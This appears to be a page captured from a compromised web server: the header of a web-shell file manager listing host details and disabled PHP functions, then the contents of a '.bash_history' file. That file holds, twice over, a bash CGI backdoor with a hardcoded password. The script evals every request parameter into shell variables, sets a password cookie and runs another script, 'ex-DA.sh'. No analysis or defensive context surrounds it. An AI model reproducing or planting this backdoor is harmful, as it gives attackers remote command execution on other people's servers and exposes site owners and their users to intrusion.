HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/.bash_history
#!/bin/bash -i
#
password="123"
function cgi_get_POST_vars() {     [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2     [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h;          t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       ; 	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done;          echo "${v}";     return; }
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s     case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "     while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string; 	k="${p%%=*}"  # get the key (variable name) from it; 	v="${p#*=}"   # get the value from it; 	q="${q#$p&*}" # strip first part from query string 	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
# register all GET and POST variables
cgi_getvars BOTH ALL
pass="SAVEDPWD=$password"
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi;  fi
echo 'PGh0bWw+PHRpdGxlPndvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d
cd ../
bash ex-DA.sh
#!/bin/bash -i
#
password="123"
function cgi_get_POST_vars() {     [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && 	echo "Warning: you should probably use MIME type "	     "application/x-www-form-urlencoded!" 1>&2     [ -z "$QUERY_STRING_POST"       -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && 	read -n $CONTENT_LENGTH QUERY_STRING_POST;     return; }
function cgi_decodevar() {     [ $# -ne 1 ] && return;     local v t h;          t="${1//+/ }%%";     while [ ${#t} -gt 0 -a "${t}" != "%" ]; do 	v="${v}${t%%\%*}" ; 	t="${t#*%}"       ; 	 	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then 	    h=${t:0:2} ; 	    t="${t:2}" ; 	    v="${v}"`echo -e \\\\x${h}` ; 	fi;     done;          echo "${v}";     return; }
function cgi_getvars() {     [ $# -lt 2 ] && return;     local q p k v s     case $1 in 	GET) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    ;; 	POST) 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; 	    ;; 	BOTH) 	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; 	    cgi_get_POST_vars; 	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; 	    ;;     esac;     shift;     s=" $* "     while [ ! -z "$q" ]; do 	p="${q%%&*}"  # get first part of query string; 	k="${p%%=*}"  # get the key (variable name) from it; 	v="${p#*=}"   # get the value from it; 	q="${q#$p&*}" # strip first part from query string 	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && 	    eval "$k=\"`cgi_decodevar \"$v\"`\"";     done;     return; }
# register all GET and POST variables
cgi_getvars BOTH ALL
pass="SAVEDPWD=$password"
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`
if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx"  ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi;  fi
echo 'PGh0bWw+PHRpdGxlPndvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d
cd ../
bash ex-DA.sh